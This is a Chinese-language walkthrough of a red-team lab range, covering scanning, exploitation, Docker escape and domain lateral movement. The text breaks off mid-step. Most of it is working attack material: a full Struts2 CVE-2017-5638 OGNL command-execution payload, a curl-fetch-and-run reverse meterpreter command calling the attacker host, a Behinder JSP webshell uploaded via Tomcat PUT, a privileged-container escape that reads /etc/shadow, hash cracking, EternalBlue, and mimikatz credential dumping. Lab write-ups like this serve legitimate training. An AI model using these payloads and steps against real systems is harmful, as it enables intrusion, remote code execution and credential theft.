4690 字
23 分钟
ATT&CK红队评估实战靶场(四)
ATT&CK红队评估实战靶场(四)
环境搭建
新建两张仅主机网卡，一张192.168.183.0网段（内网网卡），一张192.168.157.0网段（模拟外网网段），然后按照拓补图分配网卡即可
IP信息：
Kali 192.158.157.129
Ubuntu-web 192.168.157.128 192.168.183.129
Win7 192.168.183.131
DC 192.168.183.130
然后在ubuntu启动Docker，启动 sudo docker start ec 17 09 bb da 3d ab ad
主机探测端口扫描
扫描网段内存活主机
nmap -sP 192.168.157.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 12:44 CST Nmap scan report for 192.168.157.1 Host is up (0.00018s latency). MAC Address: 00:50:56:C0:00:03 (VMware) Nmap scan report for 192.168.157.128 Host is up (0.00024s latency). MAC Address: 00:0C:29:B6:47:4A (VMware) Nmap scan report for 192.168.157.254 Host is up (0.00021s latency). MAC Address: 00:50:56:E7:E8:3F (VMware) Nmap scan report for 192.168.157.129 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 28.01 seconds靶机IP是
128，kali的IP是129扫描靶机端口
nmap -sT -min-rate 10000 -p- 192.168.157.128 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:04 CST Nmap scan report for 192.168.157.128 Host is up (0.00076s latency). Not shown: 65531 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 2001/tcp open dc 2002/tcp open globe 2003/tcp open finger MAC Address: 00:0C:29:B6:47:4A (VMware)2001-2003是web端口扫描主机服务版本以及系统版本
nmap -sV -sT -O -p 22,2001,2002,2003 192.168.157.128 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:28 CST Nmap scan report for 192.168.157.128 Host is up (0.00075s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 2001/tcp open http Jetty 9.2.11.v20150529 2002/tcp open http Apache Tomcat 8.5.19 2003/tcp open http Apache httpd 2.4.25 ((Debian)) MAC Address: 00:0C:29:B6:47:4A (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerneJetty 9.2.11以及Tomcat和httpd扫描主机服务漏洞，使用
nikto扫描nikto -host 192.168.157.128 -port 22,2001,2002,2003 - Nikto v2.5.0 --------------------------------------------------------------------------- --------------------------------------------------------------------------- + Target IP: 192.168.157.128 + Target Hostname: 192.168.157.128 + Target Port: 2001 + Start Time: 2024-12-02 13:51:23 (GMT8) --------------------------------------------------------------------------- + Server: Jetty(9.2.11.v20150529) + /: Cookie JSESSIONID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparke r.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Jetty/9.2.11.v20150529 appears to be outdated (current is at least 11.0.6). Jetty 10.0.6 AND 9.4.41.v20210516 are also currently supported. + /: Uncommon header 'nikto-added-cve-2017-5638' found, with contents: 42. + /: Site appears vulnerable to the 'strutshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 + /index.action: Site appears vulnerable to the 'strutshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 + /login.action: Site appears vulnerable to the 'strutshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 + /getaccess: This may be an indication that the server is running getAccess for SSO. + /siteminder: This may be an indication that the server is running Siteminder for SSO. + /tree: WASD Server reveals the entire web root structure and files via this URL. Upgrade to a later version and secure according to the documents on the WASD web site. + ERROR: Error limit (20) reached for host, giving up. Last error: + Scan terminated: 0 error(s) and 11 item(s) reported on remote host + End Time: 2024-12-02 13:51:37 (GMT8) (14 seconds) --------------------------------------------------------------------------- + Target IP: 192.168.157.128 + Target Hostname: 192.168.157.128 + Target Port: 2002 + Start Time: 2024-12-02 13:51:37 (GMT8) --------------------------------------------------------------------------- + Server: No banner retrieved + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparke r.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon + /nikto-test-7haKDeBL.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled + /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon [0/122] + /nikto-test-7haKDeBL.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS . + HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server. + HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server. + /examples/servlets/index.html: Apache Tomcat default JSP pages present. + /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104 + /manager/manager-howto.html: Tomcat documentation found. See: CWE-552 + /manager/html: Default Tomcat Manager / Host Manager interface found. + /host-manager/html: Default Tomcat Manager / Host Manager interface found. + /manager/status: Default Tomcat Server Status interface found. + /host-manager/status: Default Tomcat Server Status interface found. + 9610 requests: 0 error(s) and 14 item(s) reported on remote host + End Time: 2024-12-02 13:52:21 (GMT8) (44 seconds) --------------------------------------------------------------------------- + Target IP: 192.168.157.128 + Target Hostname: 192.168.157.128 + Target Port: 2003 + Start Time: 2024-12-02 13:52:21 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.4.25 (Debian) + /: Retrieved x-powered-by header: PHP/7.2.5. + /: Uncommon header 'x-ob_mode' found, with contents: 1. + /TrzGOLfn.show_query_columns: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + Multiple index files found: /index.php, /index.jsp. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017 + /README: README file found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/ + /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/ + /package.json: Node.js package file found. It may contain sensitive information. + 17689 requests: 0 error(s) and 12 item(s) reported on remote host + End Time: 2024-12-02 13:53:18 (GMT8) (57 seconds) --------------------------------------------------------------------------- + 3 host(s) tested2001端口可能存在CVE-2017-5638，2002端口允许put和delete方法（可能存在CVE-2017-12615）
web渗透
- 访问主页
2001端口
文件上传页面
2002端口
2003端口
竟然是
phpmyadmin
CVE-2017-5638
发现和靶机页面一模一样，应该是使用直接Docker造的
验证漏洞
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
漏洞存在
EXP，存在命令执行
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='RCE').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
- 进行反弹
shellmsfvenom生成payloadmsfvenom -p cmd/linux/http/x64/meterpreter/reverse_tcp lhost=192.168.157.129 lport=1234 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 117 bytes curl -so /tmp/irZWQXXBy http://192.168.157.129:8080/gYBZzJWIpFJeIY1gYugNpQ; chmod +x /tmp/irZWQXXBy; /tmp/irZWQXXBy &msf监听msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.157.129 msf6 exploit(multi/handler) > set lport 1234 msf6 exploit(multi/handler) > runexp中填入生成的payload，然后发送Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl -so /tmp/irZWQXXBy http://192.168.157.129:8080/gYBZzJWIpFJeIY1gYugNpQ; chmod +x /tmp/irZWQXXBy; /tmp/irZWQXXBy &').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"获得shell
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.157.129:1234 [*] Sending stage (3045380 bytes) to 192.168.157.128 [*] Meterpreter session 1 opened (192.168.157.129:1234 -> 192.168.157.128:52614) at 2024-12-02 14:52:14 +0800 meterpreter >
CVE-2017-12615
Tomcat PUT方法任意写文件漏洞，利用HTTP的PUT方法直接上传webshell到目标服务器，从而获取权限
抓包然后修改为
PUT方法，然后1.jsp是上传文件名，内容块里边是冰蝎的JSP脚本内容PUT /1.jsp/ HTTP/1.1 Host: 192.168.157.128:2002 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: http://192.168.157.128:2001/ Sec-GPC: 1 Connection: keep-alive Cookie: JSESSIONID=ebkm5umq7o4emfo8amiifu8q; phpMyAdmin=0e02d819225d61988d3e5e0979e5bf09; pma_lang=zh_CN Upgrade-Insecure-Requests: 1 Priority: u=0, i <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>使用冰蝎连接，成功连接，获得
shell
然后通过上边一样的方法反弹
shell即可
信息收集
查看权限
# id uid=0(root) gid=0(root) groups=0(root) # whoami root # uname -a Linux 174745108fcb 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux直接就是
root权限？判断是否是
Docker环境meterpreter > run post/linux/gather/checkcontainer [+] This appears to be a 'Docker' container似乎这是一个
Docker容器，再看根目录下是否存在.dockerenv文件cd / pwd / ls -al total 72 drwxr-xr-x 1 root root 4096 Jan 22 2020 . drwxr-xr-x 1 root root 4096 Jan 22 2020 .. -rwxr-xr-x 1 root root 0 Jan 22 2020 .dockerenv由此可以判断是在容器内
Docker逃逸
https://xz.aliyun.com/t/8558?time__1311=n4%2BxnD0DcDuD90WY4GNepDUh2YDOl9YD02L%2BiD#toc-3
想着尝试用
dirty cow来逃逸Docker，但是发现内核版本不在范围内，只能寻找别的方法然后尝试 利用特权模式进行逃逸
当操作者执行docker run —privileged时，Docker将允许容器访问宿主机上的所有设备，同时修改AppArmor或SELinux的配置，使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
使用
fdisk -l查看磁盘，无回显（现在是2001端口获得的shell）# fdisk -l使用
tomcat获得的shell来查看磁盘，可以查看到# fdisk -l Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x00063af9 Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 16779263 16777216 8G 83 Linux /dev/sda2 16781310 20969471 4188162 2G 5 Extended /dev/sda5 16781312 20969471 4188160 2G 82 Linux swap / Solaris判断特权模式
cat /proc/self/status | grep CapEff特权模式启动的话，
CapEff对应的掩码值应该为0000003fffffffff或者是0000001fffffffff
创建目录，并将分区挂载到目录中
mkdir test mount /dev/sda1 /test然后已经将宿主机挂在到
test目录下了ls -al /test total 120 drwxr-xr-x 23 root root 4096 Jan 20 2020 . drwxr-xr-x 1 root root 4096 Dec 3 05:20 .. drwxr-xr-x 2 root root 4096 Jan 20 2020 bin drwxr-xr-x 3 root root 4096 Jan 20 2020 boot drwxrwxr-x 2 root root 4096 Jan 20 2020 cdrom drwxr-xr-x 4 root root 4096 Mar 4 2019 dev drwxr-xr-x 130 root root 12288 Dec 3 04:57 etc drwxr-xr-x 3 root root 4096 Jan 20 2020 home lrwxrwxrwx 1 root root 33 Jan 20 2020 initrd.img -> boot/initrd.img-4.4.0-142-generic drwxr-xr-x 23 root root 4096 Jan 20 2020 lib drwxr-xr-x 2 root root 4096 Mar 4 2019 lib64 drwx------ 2 root root 16384 Jan 20 2020 lost+found drwxr-xr-x 3 root root 4096 Mar 4 2019 media drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt drwxr-xr-x 2 root root 4096 Jan 20 2020 opt drwxr-xr-x 2 root root 4096 Apr 10 2014 proc drwx------ 2 root root 4096 Jan 21 2020 root drwxr-xr-x 12 root root 4096 Mar 4 2019 run drwxr-xr-x 2 root root 12288 Jan 20 2020 sbin drwxr-xr-x 2 root root 4096 Mar 4 2019 srv drwxr-xr-x 2 root root 4096 Mar 13 2014 sys drwxrwxrwt 5 root root 4096 Dec 3 05:17 tmp drwxr-xr-x 10 root root 4096 Mar 4 2019 usr drwxr-xr-x 13 root root 4096 Mar 4 2019 var lrwxrwxrwx 1 root root 30 Jan 20 2020 vmlinuz -> boot/vmlinuz-4.4.0-142-generic查看
shadow文件，仅能看到ubuntu用户有密码cat /test/etc/shadow ubuntu:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::拿到开膛手破解
john pass.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 8 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status ubuntu (ubuntu) 1g 0:00:00:00 DONE 1/3 (2024-12-03 13:24) 33.33g/s 6400p/s 6400c/s 6400C/s ubuntu..ubuntut Use the "--show" option to display all of the cracked passwords reliably Session completed.破解出密码
ubuntu尝试登陆SSH
ssh ubuntu@192.168.157.128 ubuntu@192.168.157.128's password: Welcome to Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64) * Documentation: https://help.ubuntu.com/ Your Hardware Enablement Stack (HWE) is supported until April 2019. Last login: Thu Jan 23 20:50:17 2020 from 192.168.157.128 ubuntu@ubuntu:~$成功进入，查看IP信息等
ubuntu@ubuntu:~$ ip add 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:b6:47:4a brd ff:ff:ff:ff:ff:ff inet 192.168.157.128/24 brd 192.168.157.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:feb6:474a/64 scope link valid_lft forever preferred_lft forever 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:b6:47:54 brd ff:ff:ff:ff:ff:ff inet 192.168.183.129/24 brd 192.168.183.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:feb6:4754/64 scope link valid_lft forever preferred_lft forever可以发现逃逸了
docker环境，并且内网网段是192.168.183.0
内网信息收集
查看
ubuntu用户权限ubuntu@ubuntu:~$ sudo -i [sudo] password for ubuntu: root@ubuntu:~#直接到
root用户了，成功拿到web主机的最高权限将其上线MSF（和上面的方法一样）
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.157.129:4445 [*] Sending stage (3045380 bytes) to 192.168.157.128 [*] Meterpreter session 2 opened (192.168.157.129:4445 -> 192.168.157.128:37052) at 2024-12-03 13:29:59 +0800 meterpreter >首先将设置通向内网的路由，然后设置代理（方便后面使用）
添加路由
meterpreter > run post/multi/manage/autoroute [*] Running module against 192.168.157.128 [*] Searching for subnets to autoroute. [+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 172.18.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 172.19.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 172.20.0.0/255.255.0.0 from host's routing table. [+] Route added to subnet 192.168.157.0/255.255.255.0 from host's routing table. [+] Route added to subnet 192.168.183.0/255.255.255.0 from host's routing table.然后设置代理
meterpreter > bg [*] Backgrounding session 2 msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > set version 4a msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 0.然后配置
chainproxy4的配置文件# vim /etc/proxychains4.conf socks4 127.0.0.1 1080测试一下，我们知道
web主机内网地址是192.168.183.129，使用curl成功回显proxychains curl 192.168.183.129:2001 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.183.129:2001 ... OK <html> <head> <title>Struts2 Showcase - Fileupload sample</title> </head>使用
fscan扫描内网信息将
fscan上传到ubuntu靶机运行
fscan将结果保存到1.txt./fscan -h 192.168.183.1/24 > 1.txt
扫描完毕后查看
1.txt结果存活主机，除了
web主机内网还有两台(icmp) Target 192.168.183.129 is alive (icmp) Target 192.168.183.130 is alive (icmp) Target 192.168.183.131 is alive端口扫描
192.168.183.130:445 open 192.168.183.130:139 open 192.168.183.130:135 open 192.168.183.130:88 open 192.168.183.131:445 open 192.168.183.131:139 open 192.168.183.131:135 open 192.168.183.129:22 open130开启了88端口，是kerberos服务端口，可能是域控，并且都开启了445端口vulscan
[*] NetInfo [*]192.168.183.131 [->]TESTWIN7-PC [->]192.168.183.131 [*] NetBios 192.168.183.1 WORKGROUP\DESKTOP-OO4DPSM [*] NetInfo [*]192.168.183.130 [->]WIN-ENS2VR5TR3N [->]192.168.183.130 [*] NetBios 192.168.183.130 [+] DC:WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1 [+] MS17-010 192.168.183.131 (Windows 7 Enterprise 7601 Service Pack 1) [+] MS17-010 192.168.183.130 (Windows Server 2008 HPC Edition 7601 Service Pack 1)和上面猜测的一样，
130是DC，域名是demo.com,并且两台主机都扫描出了可能存在MS17-010
内网渗透
MS17-010
- 尝试
MS17-010TESTWIN7-PC192.168.183.131(概率低的令人发指)，可能是代理问题msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.183.131 msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/meterpreter/bind_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate msf6 exploit(windows/smb/ms17_010_eternalblue) > run [*] 192.168.183.131:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.183.131:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit) [*] 192.168.183.131:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.183.131:445 - The target is vulnerable. [*] 192.168.183.131:445 - Connecting to target for exploitation. [+] 192.168.183.131:445 - Connection established for exploitation. [+] 192.168.183.131:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.183.131:445 - CORE raw buffer dump (40 bytes) [*] 192.168.183.131:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp [*] 192.168.183.131:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic [*] 192.168.183.131:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1 [+] 192.168.183.131:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.183.131:445 - Trying exploit with 12 Groom Allocations. [*] 192.168.183.131:445 - Sending all but last fragment of exploit packet [*] 192.168.183.131:445 - Starting non-paged pool grooming [+] 192.168.183.131:445 - Sending SMBv2 buffers [+] 192.168.183.131:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.183.131:445 - Sending final SMBv2 buffers。 [*] 192.168.183.131:445 - Sending last fragment of exploit packet! [*] 192.168.183.131:445 - Receiving response from exploit packet [*] 192.168.183.131:445 - Sending last fragment of exploit packet! [*] 192.168.183.131:445 - Receiving response from exploit packet [+] 192.168.183.131:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.183.131:445 - Sending egg to corrupted connection. [*] 192.168.183.131:445 - Triggering free of corrupted buffer. [*] Started bind TCP handler against 192.168.183.131:6756 [-] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [-] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [-] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] 192.168.183.131:445 - Connecting to target for exploitation. [+] 192.168.183.131:445 - Connection established for exploitation. [+] 192.168.183.131:445 - Target OS selected valid for OS indicated by SMB reply [*] 192.168.183.131:445 - CORE raw buffer dump (40 bytes) [*] 192.168.183.131:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp [*] 192.168.183.131:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic [*] 192.168.183.131:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1 [+] 192.168.183.131:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 192.168.183.131:445 - Trying exploit with 17 Groom Allocations. [*] 192.168.183.131:445 - Sending all but last fragment of exploit packet [*] 192.168.183.131:445 - Starting non-paged pool grooming [+] 192.168.183.131:445 - Sending SMBv2 buffers [+] 192.168.183.131:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 192.168.183.131:445 - Sending final SMBv2 buffers. [*] 192.168.183.131:445 - Sending last fragment of exploit packet! [*] 192.168.183.131:445 - Receiving response from exploit packet [+] 192.168.183.131:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 192.168.183.131:445 - Sending egg to corrupted connection. [*] 192.168.183.131:445 - Triggering free of corrupted buffer. [*] Sending stage (201798 bytes) to 192.168.183.131 [*] Session ID 3 (192.168.183.129:50614 -> 192.168.183.131:6756 via session 1) processing AutoRunScript 'post/windows/manage/migrate' [*] Running module against TESTWIN7-PC [*] Current server process: spoolsv.exe (1104) [*] Spawning notepad.exe process to migrate into [*] Spoofing PPID 0 [*] Migrating into 836 [+] Successfully migrated into process 836 [+] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.183.131:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [*] Meterpreter session 3 opened (192.168.183.129:50614 -> 192.168.183.131:6756 via session 1) at 2024-12-03 18:51:01 +0800WIN-ENS2VR5TR3N192.168.183.130DC，成功不了，可能是考别的知识点
抓取密码
MSF加载
mimikatz模块meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success.抓取密码
meterpreter > creds_all wdigest credentials =================== Username Domain Password -------- ------ -------- (null) (null) (null) TESTWIN7-PC$ DEMO /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr douser DEMO Dotest123抓取域用户
douser的密码Dotest123
Win7开启RDP
查看权限
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM开启
RDP服务，使用MSF模块meterpreter > run post/windows/manage/enable_rdp [*] Enabling Remote Desktop [*] RDP is disabled; enabling it ... [*] Setting Terminal Services service startup mode [*] The Terminal Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary [*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20241203215408_default_192.168.183.131_host.windows.cle_035122.txt尝试登陆
proxychains rdesktop 192.168.183.131 -p Dotest123 -u douser
DC上应该是有策略，不允许该用户登录
寻找可利用点
在桌面下发现一些常用渗透工具
MS14-068可能是要使用该方法来攻略DCc:\Users\douser\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 605F-F555 Directory of c:\Users\douser\Desktop 2020/01/18 12:40 <DIR> . 2020/01/18 12:40 <DIR> .. 2020/01/11 15:06 2,189 360极速浏览器.lnk 2020/01/17 14:53 14,336 artifact.exe 2020/01/11 16:05 5,406 GetUserSPNs.ps1.ps1 2015/11/19 04:37 1,192,703 Invoke-DCSync.ps1 2020/01/11 16:37 47,937 Invoke-Kerberoast.ps1 2020/01/03 02:22 1,040,136 mimikatz.exe 2020/01/15 17:12 3,492,558 MS14-068.exe 2004/02/01 13:23 344,576 NetSess.exe 2020/01/15 15:39 374,944 PsExec64.exe 2020/01/16 22:13 53,248 PVEFindADUser.exe 2020/01/16 22:16 193 report.csv 2020/01/06 22:05 3,175 RProcdump.ps1 2020/01/17 15:52 2,897 systeiminfo_win7.txt 2020/01/16 11:30 1,074 TGT_douser@demo.com.ccache
MS14-068
获取用户SID
首先通过
migrate到Douser的内存下meterpreter > ps 2116 372 conhost.exe x64 1 DEMO\douser C:\Windows\system32\conhost.exe 2720 464 taskhost.exe x64 1 DEMO\douser C:\Windows\system32\taskhost.exe 2784 2852 explorer.exe x64 1 DEMO\douser C:\Windows\Explorer.EXE 2888 840 dwm.exe x64 1 DEMO\douser C:\Windows\system32\Dwm.exe meterpreter > migrate 2784 [*] Migrating from 836 to 2784... [*] Migration completed successfully.进入
shell模式获取用户SIDmeterpreter > shell C:\Windows\system32>whoami /all SID =========== ============================================= demo\douser S-1-5-21-979886063-1111900045-1414766810-1107S-1-5-21-979886063-1111900045-1414766810-1107利用桌面的
